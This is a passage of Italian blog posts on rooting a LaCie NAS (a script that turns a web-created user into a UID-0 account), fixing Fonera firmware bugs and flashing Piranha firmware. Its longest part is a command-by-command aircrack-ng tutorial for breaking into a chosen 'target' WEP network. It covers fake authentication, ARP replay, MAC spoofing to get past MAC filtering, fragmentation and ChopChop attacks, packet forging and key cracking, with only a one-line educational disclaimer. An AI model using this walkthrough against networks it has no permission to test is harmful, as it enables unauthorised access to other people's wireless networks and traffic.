I problemi tuttavia non finiscono qui. Ad ogni riavvio della macchina il file /etc/passwd e /etc/shadow vengono sovrascritti. In particolare ogni nuovo utente creato tramite l’interfaccia web del nas non ha il diritto di loggarsi alla console remota del nas. Es:

admin:x:500:100::/home:/bin/false

Il /bin/false è il nostro problema! Per ovviare alla situazione ho creato un servizio per initng, chiamato personal, che permette di ripristinare i privilegi di un account:

#!/sbin/itype
#
# Cambiate la riga user="utente" inserendo a posto di 'utente' il nome dell'utente da voi creato

service personal {
	need = edconfd/ready;
	last;
	script start = {
		user="utente"
		PASSWD="$user:x:0:0::/root:/bin/bash"

		if [ "x`cat /etc/passwd | grep $user`" == "x" ]; then
			echo $PASSWD >> /etc/passwd
			echo "Insert user $user done" >&2
		else
			LINE="`cat /etc/passwd | grep $user`"
			if [ "$LINE" != "$PASSWD" ]; then
				sed -i "s#${LINE}#${PASSWD}#g" /etc/passwd
				echo "User $user restored" >&2
			fi
		fi
		exit 0
	};
}

Si presuppone che l’utente sia stato creato precedentemente tramite l’interfaccia web del nas.

L’unica modifica richiesta è cambiare la stringa user="utente", inserendo al posto di utente il nome dello user che avete creato. L’esecuzione dello script comporta la modifica dei privilegi dell’utente (che diventerà un alter ego del root) e la possibilità di effettuare il login remoto nella shell ssh.
Il file non è presente in alcun archivio, ma è possibile scaricarlo qui:

• personal.i (prima versione)
• personal2.i (versione per i più smaliziati)

Per avviare automaticamente al boot del nas lo script copiare il file personal.i nella cartella /etc/initng/, ed eseguire:

# cd /etc/initng/runlevel/
# echo personal >> default.runlevel

Una volta che lo script è stato aggiunto potete finalmente eliminare il vostro demone telnet e il suo file di avvio dalla cartella /www/cgi-bin/public/. Per scaramanzia vi consiglio di riavviare la macchina e accertarvi che tutto funzioni come si ci aspetti prima di rimuovere i due file.

Problemi con su e passwd e personalizzazione del promtp della bash

Quando gli sviluppatori della LaCie hanno compilato il sistema hanno tralasciato, penso volutamente, qualcosa…
Loggatevi come root al nas ed eseguite (ricordo che l’accesso telnet che avete è di root):

# vi /etc/busybox.conf

Inserite queste linee, salvate il file e uscite dall’editor

[SUID]
passwd = ssx 0.0
su = ssx root.0

Dalla console, sempre con l’account di root, eseguite questi comandi:

# chown 0.0 /etc/busybox.conf
# chmod 600 /etc/busybox.conf
# chown 0.0 /bin/busybox
# chmod 4755 /bin/busybox

I problemi con su e passwd sono finiti.

Se volete il promt della bash esteso vi consiglio di editare il file /etc/profile.bash cambiando la riga:

PS1='[\u@\h \W]\$ '

in

PS1='[\u@\h \w]\$ '

Installazione di NTP

Copiate l’archivio ntp-4.2.4_p4.tbz2 (247Kb) nella vostra cartella condivisa del nas.
Dalla console, con i privilegi di root attivi, eseguite:

# cd /home/share/nome_cartella_della_vostra_condivisione
# tar -xvjf ntp-4.2.4_p4.tbz2 -C /
# rm -r ntp-4.2.4_p4.tbz2
# cd /etc/initng/runlevel/
# echo ntpd >> default.runlevel

Questo qui è il file di configurazione, incluso nell’archivio, per initng per il demone ntpd:

#!/sbin/itype

daemon ntpd {
	env NTPD_PID = /var/run/ntpd.pid;
	need = bootmisc virtual/net;
	require_network;
	exec daemon = /usr/sbin/ntpd -c /etc/ntp.conf -p ${NTPD_PID};
	forks;
	pid_file = ${NTPD_PID};
	respawn;
}

Non dimenticatevi di configurare correttamente il vostro fuso orario. Potete farlo dalla pagina web di configurazione “system” del vostro nas. Per finire riavviate il nas.

Installazione di Cups (print server)

Copiate l’archivio cups-1.3.8-r1.tbz2 (1.89Mb)  nella vostra cartella condivisa del nas.

Dalla console, con i privilegi di root attivi, eseguite:

# cd /home/share/nome_cartella_della_vostra_condivisione
# tar -xvjf cups-1.3.8-r1.tbz2 -C /
# rm -r cups-1.3.8-r1.tbz2
# cd /etc/initng/runlevel/
# echo cupsd >> default.runlevel

Aprite l’interfaccia web del nas e cliccate su GRUPPI e poi aggiungi, e create un nuovo gruppo con il nome “lpadmin” e aggiungete al gruppo l’utente che avete creato precedentemente per accedere al nas in ssh.

# vi /etc/sysconfig/modules

Aggiungete la riga usblp, come da figura e salvate.

L’ultimo passaggio impone al sistema di caricare automaticamente all’avvio il modulo che supporta la stampa su porta usb.
Vi ricordo che i comandi per modificare un file con l’editor vi sono “i” per inserire nuovo testo e “ESC”+”:wq” per salvare e uscire.

Eccovi il file di configurazione, incluso nell’archivio, per avviare automaticamente il demone cups tramite initng:

#!/sbin/itype

# NAME: CUPS
# DESCRIPTION: The Common Unix Printing System
# WWW: http://www.cups.org

daemon cupsd {
	need = bootmisc dbus virtual/net avahi;
	require_network;
	exec daemon = /usr/sbin/cupsd -F -c /etc/cups/cupsd.conf;
}

Dovete, inoltre, modificare il file /etc/cups/cupsd.conf per permettere l’amministrazione remota del cups, altrimenti inattiva. Come aiuto vi riporto il mio file di configurazione. Per un ulteriore aiuto su come configurare il cups vi rimando al sito internet ufficiale www.cups.org.

Anche per il cups ho dovuto editare a mano il file pam. Eccovi il suo nuovo contenuto:

#%PAM-1.0

auth        required     pam_unix.so
account     required     pam_unix.so

Modificatelo a vostra discrezione (file /etc/pam.d/cups).

Una volta riavviata la macchina, il cups sarà in esecuzione e raggiungibile all’indirizzo del vostro nas alla porta 631:

https://indirizzo_nas:631

I file cups-1.3.8-r1_(driver).tbz2 e cups-1.3.8-r1_(launguage).tbz2, sono opzionali e contengono i driver e la traduzione dell’interfaccia web, installarli o meno è una vostra scelta. Potete anche installare solo la lingua italiana rimuovendo dall’archivio cups-1.3.8-r1_(launguage).tbz2 le cartelle delle lingue che non desiderate, lo stesso dicasi per il file con i driver.

Per poter stampare in formato raw (output pre formattato) dovete togliere il commento alla linea seguente dal file /etc/cups/mime.convs:

application/octet-stream application/vnd.cups-raw 0 -

Assicuratevi che non sia commentata anche la linea seguente del file /etc/cups/mime.types:

application/octet-stream

In linux la stampante sarà rintracciabile all’indirizzo (fate attenzione alle volte non c’è bisogno di indicare il numero di porta):

ipp://indirizzo_nas:631/printers/nome_stampante

Es:

ipp://192.168.1.100:631/printers/ML-3050

In windows xp cliccate su “Aggiungi stampante” e per aggiungere una nuova stampante di rete e selezionate “Stampante  in Internet o della rete domestica o aziendale” e usate l’URL:

http://indirizzo_nas:631/printers/nome_stampante

Selezionate, infine, il driver per la vostra stampante.
Una piccola precisazione, il samba del nas non è stato compilato con il supporto per il cups. (libcups.so.2)

Ripristino

È possibile ripristinare il filesystem del nas allo stato precedente le modifiche effettuando l’aggiornamento del firmware, anche con la stessa versione installata sul nas, nel mio caso 2.2.3, usando l’utility messa a disposizione dalla LaCie stessa. Tuttavia non è possibile effettuare tale operazione se il nas risulta non essere più visibile in rete, infatti l’utility non esegue il processo di aggiornamento se non vede precedentemente il nas.

Link Utili

• uboot
• scratcbox
• buildroot
• www.initng.org, vedi preferibilmente http://gitorious.org/initng/.
• Lacie NAS-Central
• General NAS-Central Forums
• http://downloads.buffalo.nas-central.org/LSPro_ARM9/Distributions/Genlink/Binaries/armv5tejl-softfloat-linux-gnueabi/
  (binari compilati per architettura arm)
• LaCie (pagina di supporto)
• LaCie GPL
• www.cups.org, Common UNIX Printing System.

Speculazioni

Un idea molto interessante che mi è venuta in mente è di modificare il raid del nas. In particolare, usare gli hard disk esterni, agganciabili alle porte del usb, come parte integrante del raid usando il raid 5 o aggiungere un hd esterno da usare come spare in caso di guasto. Non ho compiuto alcuna prova in merito, principalmente per mancanza di hd, ma se qualcuno ha avuto la stessa mia idea e ci sta provando mi faccia sapere qualcosa.

Aggiornamento del kernel (?!?)

Ringraziamenti

Ringrazio gli utenti del forum “General NAS-Central Forums”, che con i loro utili post hanno permesso la stesura di questo articolo e soprattutto di bucare il mio nas.

Articoli correlati:

1. LaCie 2Big Network: supporto nfs
2. LaCie 2Big Network tweaking: deframmentazione filesystem con xfs_fsr
3. Wep Hack with Aircrack-ng on fonera piranha 2.0 alpha 4

Non sono contento della piega che da un po di tempo a questa parte fon sta prendendo. Hanno impiegato molti sforzi a sviluppare dei plugin per megaupload, picasa, facebook, twitter, rapidshare ecc. che non sono così fondamentali come la stabilità del router, né sono così importanti da essere installati di default e senza possibilità di rimuoverli dalla fonera.
Inoltre continuano a non dare troppo peso alle richieste degli utenti sia in termini di hardware che in termini di software. Chi non vuole sulla propria fonera tutte le opzioni che il mod freelan fornisce?
Quando la fonera 2.0g era in fase beta si chiedeva alla fon un router con 64mb di ram e il supporto alla tecnologia wifi n (tra le tante necessità queste almeno erano le più richieste). Adesso esiste ed è il nuovo router fonera 2.0n, si ma a che prezzo? Hanno ritirato dal mercato la “vecchia” fonera 2.0g e mandato una mail ai possessori di quest’ultima per incentivare l’acquisto della nuova macchina a prezzo scontato. Intanto i miei fonera si impilano uno sopra l’altro…
Sembra che si siano accorti che 32mb di ram erano troppo pochi per far girare tutte quelle applicazioni sulla fonera figuriamoci un client torrent. Nel frattempo ho sempre difficoltà ad accedere alla WebGui della fonera lato wan  obbligandomi ad riavviare firefox o peggio la fonera stessa (che impiega soli 5 minuti per rimettersi on-line).
Non tocchiamo nemmeno l’argomento del transfer-rate in ftp dal pc all’hard disk collegato alla fonera: semplicemente ridicolo. Ho un nas della LaCie che 10 volte più veloce!
Piuttosto che creare un nuovo router ora non potevano fin da subito progettare questo senza passare dallo step (fallito) della fonera 2.0g?
La nuova fonera 2.0n nonostante abbia uno switch di 4 porte queste non sono gigalan e le sue due antenne sono fisse, non so voi ma l’idea delle antenne fisse mi rabbrividisce. Ho diverse antenne wifi di varia portata da 2db a 16db che non potrei usare con questo router.
Spero che migliorino il supporto software per bene altrimenti a fare un fis init -f e mettere su OpenWrt non ci vuole poi molto…”soli” 30 minuti (almeno per le vecchie fonere, 3-5 minuti per la nuova).

Articoli correlati:

1. Fonera 2.0g firmware ufficiale 2.3.0.1 RC 1 e i suoi bug
2. Installare piranha sulla fonera [Aggiornato]
3. Wep Hack with Aircrack-ng on fonera piranha 2.0 alpha 4

Anomalie:

Questa è la shell della fonera 2.0g con l’ultimo firmware 2.3.0.1.
Come si può notare la dicitura è: Fonera 20n Firmware (v2.2.6.0)
Il che fa pensare che di fatto stiano facendo un unico firmware per entrambe le fonere 2.0g e 2.0n modificando solo il supporto per il processore Atheros AR2315 a 183Mhz per la fonera 2.0g e Ralink RT3052F a 300 Mhz per la fonera 2.0n.

Bug:

Se provate ad accedere dalla wan in ssh alla fonera riceverete un messaggio di errore di connessione rifiutata, questo anche se avete abilitato l’accesso ssh lato wan dalla fonera stessa.
Per risolvere questo problema, nella attesa di una release meno baggata, procedete così:

1. Guadagnate l’accesso ssh sulla fonera (lato lan)

2. Modificate il file:

   root@fonera:~# vi /etc/firewall.fon

3. Aggiungete la riga (comando “i” per inserire nuovo testo nel file):

   iptables -A input_wan -p tcp --dport 22 -j ACCEPT

4. Salvate (per salvare pigiate “esc”, poi “:wq”)

5. Riavviate la fonera o riavviate il firewall:

   root@fonera:~# /etc/init.d/firewall restart

Questo sembrerebbe essere un bug introdotto proprio dalla versione del firmware 2.3.0.1 rc1.
Non è sicuramente un grave problema, ma per chi, come me, usa la shell della fonera può dare fastidio.

Altro giro altro bug!

Posso confermare che questo bug era già presente nella versione precedente del firmware (2.2.6.0 rc2).
La fonera, come sapete, può collegarsi alla rete “wan” sia tramite cavo di rete che wifi.
Se volete impostare la modalità di connessione wifi e come il sottoscritto siete piuttosto esigenti sulla wpa passphrase  avrete qualche problema. L’interfaccia grafica della fonera infatti si rifiuta di salvare pass-phrases lunghe.
Es:

Fonera Internet Setting (Clicca per ingrandire)

Nel mio caso uso una passphrase di 63 caratteri esadecimali. Quando pigiate il tasto salva la fonera vi segnalerà in rosso la vostra passphrase e si rifiuterà di salvare le impostazioni.
La soluzione che suggerisco è semplice:

1. Inserire una passphrase fasulla di otto caratteri tipo “12345678″ e salvare le impostazioni.

2. Aprire una console sulla fonera e modificare il file:

   root@fonera:~# vi /etc/config/fon


3. Cercate la riga:

   option 'psk' '12345678'

   e sostituitela con:

   option 'psk' 'inserite_la_vostra_passphrase'

   Es:

   

4. Salvate il file e riavviate la fonera.

Spero di aver dato una mano d’aiuto.

Articoli correlati:

1. Installare piranha sulla fonera [Aggiornato]
2. Wep Hack with Aircrack-ng on fonera piranha 2.0 alpha 4
3. Fonera Si, Fonera.. No!?

Informo che già dalla data 17-01-2010 il progetto piranha si è trasferito al seguente indirizzo: http://piranha.pwnz.org/,
inoltre sempre nella stessa data è stata rilasciata la versione 3.0 del firmware disponibile all’indirizzo:

http://piranha.pwnz.org/2010/01/17/piranha-3-0-100117/

Facendo una ricerca in rete è facile trovare tantissime guide per installare OpenWrt e derivati sul fonera. Per il piranha consiglio di usare la guida:

http://www.fonerahacks.com/index.php/Tutorials-and-Guides/Full-Legend-Flash-Guide.html, che risulta essere molto completa e estremamente simile alla procedura per installare il piranha con alcuni accorgimenti:

1. scaricare il firmware del piranha dal sito ufficiale:

   http://piranha.klashed.net/pub/2.0/alpha4/, se volete la versione con l’interfaccia web (LuCi) presente.

   http://piranha.klashed.net/pub/3.0/090925/, se preferite la versione 3.0 più recente ma con meno pacchetti e senza interfaccia web.

2. A prescindere dalle versione che preferite dovete scaricare i file:

   openwrt-atheros-root.squashfs e openwrt-atheros-vmlinux.lzma.

   Alternativamente se preferite potete scaricare la versione openwrt-atheros-root.jffs2-64k. Per maggiori info sulla differenza date un occhiata a questo post in lingua inglese.

3. Eseguite nel RedBoot del vostro fonera questi comandi:

Redboot> ip_addr -h 192.168.1.166 -l 192.168.1.254/24

Redboot> fis init -f

Redboot> load -r -b %{FREEMEMLO} openwrt-atheros-vmlinux.lzma

Redboot> fis create -e 0×80041000 -r 0×80041000 vmlinux.bin.l7

Redboot> fis free

0xA80F0000 .. 0xA87E0000

4. Nella shell del vostro computer (se avete linux) eseguite i seguenti comandi, riportando i valori che il comando fis free vi ha restituito e segnatevi il risultato.

   Se non avete linux eseguite la sottrazione dei valori con una calcolatrice scientifica in base 16 (quella di windows andrà benissimo).

   server:~# bc

   obase=16

   ibase=16

   A87E0000 – A80F0000

   6F0000

   quit

   (0xLENGTH is 0x006F0000 in questo caso)

5. Nel ReedBoot della fonera:

Redboot> load -r -b %{FREEMEMLO} openwrt-atheros-root.squashfs

Redboot> fis create -l 0xLENGHT rootfs

Redboot> fconfig

>> fis load -l vmlinux.bin.l7

>> exec

>>

Redboot> reset

Ho attinto le informazioni di questo post dal sito internet ufficiale del firmware piranha.

Riferitevi alla guida che vi ho suggerito prima per accedere al redboot del vostro fonera.

Se avete difficoltà ad accedere in ssh al vostro fonera leggete il paragrafo “Acquisizione dell’accesso ssh sul fonera” del post “Wep Hack with Aircrack-ng on fonera piranha 2.0 alpha 4“.

Articoli correlati:

1. Wep Hack with Aircrack-ng on fonera piranha 2.0 alpha 4
2. Fonera 2.0g firmware ufficiale 2.3.0.1 RC 1 e i suoi bug
3. Fonera Si, Fonera.. No!?

Acquisizione dell’accesso ssh sul fonera. (solo per le nuove installazioni)

Il piranha è una distro basata su OpenWRT per fonera.
Per motivi di sicurezza nelle distribuzioni OpenWrt NON è specificata una password di default per l’account root, che deve essere settata al primo accesso all’interfaccia web (se presente) o tramite console telnet.
Dopo l’installazione sul fonera del firmware piranha 2.0 alpha 4, lanciate una console telnet.
L’indirizzo di default del fonera con firmware Piranha 2.0 alpha 4 è 192.168.1.1, mentre per il firmware 3.0 alla versione attuale “090916″ (16-09-2009) è 10.0.0.1.
Le versioni del firmware Piranha 3.0 fino all’attuale 090916 (al momento in cui scrivo), benché siano più recenti, non possiedono l’interfaccia web (Luci).

Il firmware piranha è disponibile al seguente indirizzo: http://piranha.klashed.net/pub/
[Aggiornamento] Il progetto piranha si è trasferito al seguente indirizzo:  http://piranha.pwnz.org/

telnet 192.168.1.1
passwd

e inserite la vostra password

exit
ssh 192.168.1.1

entrate con le credenziali di root e la password che avete settato precedentemente.

Abilitazione del monitor mode

Loggatevi come root e inserite la vostra password appena definita

iwconfig ath0 | grep Mode

se leggete ” Mode:Monitor ... ” tutto ok altrimenti eseguite i due comandi qui riportati:

wlanconfig ath0 destroy
wlanconfig ath0 create wlandev wifi0 wlanmode monitor

Con questi due comandi avete settato la vostra fonera in modalità di ascolto.

Connessione di un unità di rete sulla fonera

Il fonera non dispone di spazio per salvare i pacchetti acquisiti, per cui è fondamentale salvare questi dati sul nostro pc.
Create una cartella d’appoggio sul fonera.

mkdir /mnt/share

Montiamo la cartella remota:

mount.cifs percorso_di_rete_del_nostro_pc/nome_cartella_condivisa /mnt/share -o user=Nome_del_nostro_account_sul_pc

Es:

mount.cifs //192.168.1.2/Condivisa /mnt/share -o user=root

Entrate nella cartella che avete montato.

cd /mnt/share

Sniffare e salvare i pacchetti catturati

Cominciamo a guardarci un po attorno:

airodump-ng ath0

Individuate la vostra rete bersaglio e salvatevi il numero del canale della rete e il suo bssid.
Chiudete airodump-ng con un bel ctrl-c e rilanciatelo con questi comandi.

airodump-ng -c numero --bssid 00:xx:xx:xx:xx:xx -w /mnt/share/nome_rete_bersaglio ath0

dove:

• -c numero è il canale della rete wifi scelta,
• --bssid 00:xx:xx:xx:xx:xx indica il mac dell’acces point che si sta attaccando,
• -w /mnt/share/nome_rete_bersaglio indica il percorso e il nome del file che verrà creato contenente il traffico sniffato.

Da questo momento la vostra fonera salverà su hard disk tutti i pacchetti della rete bersaglio che avete scelto.

Lasciate il programma attivo e aprite un altra console ssh sulla fonera.

Attacchi standard

Per trovare la password di una rete wep con crittografia a 128 bit bisogna acquisire circa 400.000 pacchetti IV.
Dunque se non si vuole fare notte è opportuno cominciare a creare un po di traffico nella nostra rete bersaglio.

Lanciate l’attacco:

Fake authentication

aireplay-ng -1 0 -e NOME_RETE_BERSAGLIO -b 00:xx:xx:xx:xx:xx -h 00:18:84:xx:xx:xx ath0

dove:

• -1 indica l’attacco fake authentication
• 0 il tempo, espresso in secondi, di ri-associazione alla rete attaccata.
• -b indica il mac dell’acces point che si sta attaccando (inserire il mac salvato all’inizio con airodump)
• -h indica il mac del nostro fonera.
  Se non lo conoscete usate il comando: ifconfig ath0 | grep HWaddr

Questo è un passaggio estremamente importante, se durate questa fase visualizzate dei messaggi del tipo:

12:18:20 Sending Authentication Request (Open System) [ACK]
12:18:20 Authentication successful
12:18:20 Sending Association Request [ACK]
12:18:20 Association successful :--) (AID: 1)

Allora siete riusciti nell’intento di autenticarvi nella rete che state attaccando senza problemi e potete passare al prossimo attacco.
Con alcuni access points è possibile incorre in errori strani, se accadesse qualcosa del genere provate questo comando:

aireplay-ng -1 6000 -o 1 -q 10 -e NOME_RETE_BERSAGLIO -b 00:xx:xx:xx:xx:xx -h 00:18:84:xx:xx:xx ath0

dove:

• 6000 Indica che ci si ri-autenticherà ogni 6000 secondi
• -o 1 Indica che verrà mandato solo un set alla volta. Mandare più set di pacchetti può confondere alcuni access point.
• -q 10 Indica che verrà mandato un pacchetto di Keep-alive ogni 10 secondi.

Se leggete nella shell:

12:20:22 Sending Authentication Request (Open System) [ACK]
12:20:22 Authentication successful
12:20:22 Sending Association Request
12:20:22 Association successful :--) (AID: 1)
12:20:32 Sending keep-alive packet [ACK]
12:20:42 Sending keep-alive packet [ACK]
...

tutto è andato per il meglio.
Eccovi un esempio di fake authentication fallito:

12:26:05 Sending Authentication Request (Open System) [ACK]
12:26:05 Authentication successful
12:26:05 Sending Association Request [ACK]
12:26:05 Association successful :--)
12:26:05 Got a deauthentication packet!
12:26:08 Sending Authentication Request (Open System) [ACK]
12:26:08 Authentication successful
12:26:08 Sending Association Request [ACK]
12:26:13 Sending Authentication Request (Open System) [ACK]
12:26:13 Authentication successful
12:26:13 Sending Association Request [ACK]

Non procedete oltre fin tanto che non riuscite ad avere un autenticazione corretta altrimenti qualsiasi tipo di attacco voi vogliate lanciare successivamente fallirà. Se avete il sentore che la rete che state attaccando abbia il MAC Filtering attivo, passate alla sezione Mac Spoofing.

Se leggete il messaggio: “AP rejects open-system authentication Please specify a PRGA-file (-y).”
Passate direttamente al paragrafo Packet Injection con Packet Forge perché l’acces point che state attaccando rigetta l’autenticazione aperta. Eseguite un attacco di tipo Fragmentation o ChopChop e una volta ottenuto il file xor eseguite nuovamente il Fake authentication con queste opzioni:

aireplay-ng -1 0 -e NOME_RETE_BERSAGLIO -y file_xor_ottenuto.xor -a 00:xx:xx:xx:xx:xx -h 00:18:84:xx:xx:xx ath0

Lasciate il programma lavorare e aprite un altra console ssh sulla fonera.

Arp-request replay

aireplay-ng -3 -e NOME_RETE_BERSAGLIO -b 00:xx:xx:xx:xx:xx -h 00:18:84:xx:xx:xx ath0

dove

• -3 indica l’attacco arp-request replay
• -b indica il mac dell’acces point che si sta attaccando (inserire il mac salvato all’inizio con airodump)
• -h indica il mac del nostro fonera. Se non lo conoscete guardate la base del fonera c’è scritto, o alternativamente lanciate il comando: ifconfig ath0 | grep HWaddr

Se tutto va bene dovreste vedere, nella shell dove avete eseguito airodump-ng, i numeri del campo “#Data” della rete attaccata crescere vertiginosamente.
Alternativamente potete provare l’attacco:

Interactive frame selection

aireplay-ng -2 -p 0841 -c FF:FF:FF:FF:FF:FF -b 00:xx:xx:xx:xx:xx -h 00:18:84:xx:xx:xx ath0

• -b indica il mac dell’acces point che si sta attaccando (inserire il mac salvato all’inizio con airodump)
• -h indica il mac del nostro fonera.

Mac Spoofing

Se la rete in questione ha attivo il mac filtering NON riuscirete ad eseguire correttamente l’autenticazione sulla rete wifi e conseguentemente gli attacchi non funzioneranno.
Esempio negativo

17:38:30 Sending Authentication Request (Open System) [ACK]
17:38:30 AP rejects the source MAC address (00:18:84:xx:xx:xx)?
Authentication failed (code 1)

Di seguito visioneremo diversi metodi per cambiare i mac nella fonera, funzionanti e non.

Primo metodo, (NON funziona per il fonera):
Benché non funzioni per il fonera, dato che funziona perfettamente su qualsiasi pc linux-based lo propongo lo stesso.

ifconfig ath0 down
ifconfig ath0 hw ether 00:xx:xx:xx:xx:xx
ifconfig ath0 up

Secondo metodo. (Non funziona sulla fonera modello 2100)
Accedete al Redboot del fonera e digitate:

set -m 00:xx:xx:xx:xx:xx

Terzo metodo. Aggiornato con la procedura corretta e testato da Orange:

# wlanconfig ath0 destroy
# macchanger -m 00:11:22:33:44:55 wifi0
# wlanconfig ath0 create wlandev wifi0 wlanmode [mode]

Il tool macchanger è presente nativamente nella distribuzione piranha.
[PS. Grazie sempre per il tuo tempestivo e cortese aiuto Orange.]

Quarto metodo, (non ho avuto tempo di testarlo).
Accedete al Redboot del fonera e digitate:

nvram set et0macaddr=mac_address
nvram set il0macaddr=mac_address + 1
nvram commit

Es:

nvram set et0macaddr=00:18:B8:E2:B9:4C
nvram set il0macaddr=00:18:B8:E2:B9:4D
nvram commit

Packet Injection con Packet Forge

Gli attacchi arp-request relay e interactive frame selection si basano sull’ascolto dei pacchetti che transitano sulla rete. In particolare l’arp-request relay aspetta di cogliere un pacchetto arp e una volta catturato inizia il packet injection vero e proprio. Viene da se che se, nella rete che state forzando, non ci sono client collegati non riuscirete a portare a buon fine il vostro attacco. In questo caso dovete crearvi a mano un pacchetto arp ad hoc.

Questo attacco prevede la creazione preliminare di un pacchetto ad hoc che verrà usato per eseguire il packet injection.

1. Il primo passaggio da effettuare ci permetterà di recuperare delle informazioni essenziali per l’attacco della rete bersaglio, quali il mac di un client correttamente autenticato alla rete.
2. Con Il secondo passaggio si effettuerà la forgiatura di un pacchetto ad hoc per l’attacco alla rete.
3. Infine con il terzo ed ultimo passaggio si bombarderà la rete wifi con il pacchetto creato; l’access point risponderà alle nostre richieste generando traffico utile per l’hack della rete.

Prima di tutto bisogna creare il file xor detto anche file PRGA (pseudo random genration algorithm).
Avete due metodi che fanno al caso vostro:

Fragmentation

aireplay-ng -5 -b 00:xx:xx:xx:xx:xx -h 00:18:84:xx:xx:xx ath0

ChopChop

aireplay-ng -4 -b 00:xx:xx:xx:xx:xx -h 00:18:84:xx:xx:xx ath0

dove:

• -5 indica l’attacco Fragmentation
• -4 indica l’attacco ChopChop
• -b specifica il bssid dell’acces point che vogliamo attaccare,
• -h specifica il mac della vostra fonera.

Attendete che il file venga creato.
Verrà creato un file del tipo fragment-0101-024025.xor, dove i numeri saranno sicuramente diversi da questi.
Deve essere presente un client autenticato nella rete bersaglio che state attaccando.

Creiamo il pacchetto con Packetforge, (attenzione al nome del file xor):

packetforge-ng -0 -a 00:xx:xx:xx:xx:xx -h 00:18:84:xx:xx:xx -k 255.255.255.255 -l 255.255.255.255.255 -y fragment-0101-02-4025.xor -w nome_della_rete_bersaglio.arp

dove:

• -a specifica il bssid dell’acces point che vogliamo attaccare,
• -h specifica il mac della vostra fonera.

Eseguiamo il Packet Injection

aireplay-ng -2 -r nome_della_rete_bersaglio.arp ath0

Recupero della chiave della rete

Lanciate una nuova shell sul vostro pc e navigate nel vostro filesystem fino alla cartella condivisa che state usando per salvare i pacchetti che la fonera sta acquisendo e lanciate il comando:

aircrack-ng -z -b 00:xx:xx:xx:xx:xx nome_della rete_bersaglio.cap

Es:

aircrack-ng -z -b 00:12:34:56:78:9A wifi*.cap

dove:

• -z invoca il metodo PWT-Wep cracking
• -b è il bssid dell’acces point,
• nome_della rete_bersaglio.cap è il file che il fonera ha creato contenente i pacchetti sniffati.

è importante lanciare questo comando sul vostro pc, infatti il fonera non ha abbastanza potenza di calcolo per trovare, in tempi umani, la chiave wep della rete wifi.

Approfondimenti

E’ possibile lanciare sulla fonera un server, con il comando:

airserv-ng -d ath0

dove -d indica l’interfaccia su cui il server verrà eseguito.
Il sistema in caso di successo risponde:

Opening card ath0
Setting chan 1
Opening sock port 666
Serving ath0 chan 1 on port 666

Mentre sul nostro pc locale basterà lanciare il comando:

airodump-ng indirizzo_della_fonera:666

Es:

airodump-ng 192.168.1.1:666

Questo esempio è valido anche per gli altri programmi della suite aircrack-ng basta sostituire al nome della scheda di rete (ath0) l’indirizzo e la porta del server che abbiamo lanciato sulla fonera e il gioco è fatto.
Dato che i programmi verranno lanciati nel vostro pc, il processore del fonera non sarà caricato troppo di lavoro, oltretutto viene meno anche il bisogno di montare una cartella remota nel fonera.

Aggiornamento

Come Orange mi suggerisce nel suo commento è possibile passare dalla modalità access point alla modalità monitor usando lo script, fornito dalla versione 3 del firmware piranha, “monitor” che distrugge tutte le VAP (Virtual Access Points) e crea un nuovo VAP in modalità monitor.

# /etc/init.d/aap stop
# monitor

La sua controparte è lo script “sta“:

# sta
# /etc/init.d/aap start

che riporta la fonera in modalità access point.

Ps. Thanks Orange

Link utili

• Aircrack-ng
• Aricrack-ng Wiki
• Wireshark
• BackTrack
• Piranha
• OpenWRT
• FoneraHacks
• DD-WRT
• Legend Firmware

>> Le informazioni presenti in questa guida sono da intendersi a solo uso didattico <<

Articoli correlati:

1. Installare piranha sulla fonera [Aggiornato]
2. Fonera 2.0g firmware ufficiale 2.3.0.1 RC 1 e i suoi bug
3. Fonera Si, Fonera.. No!?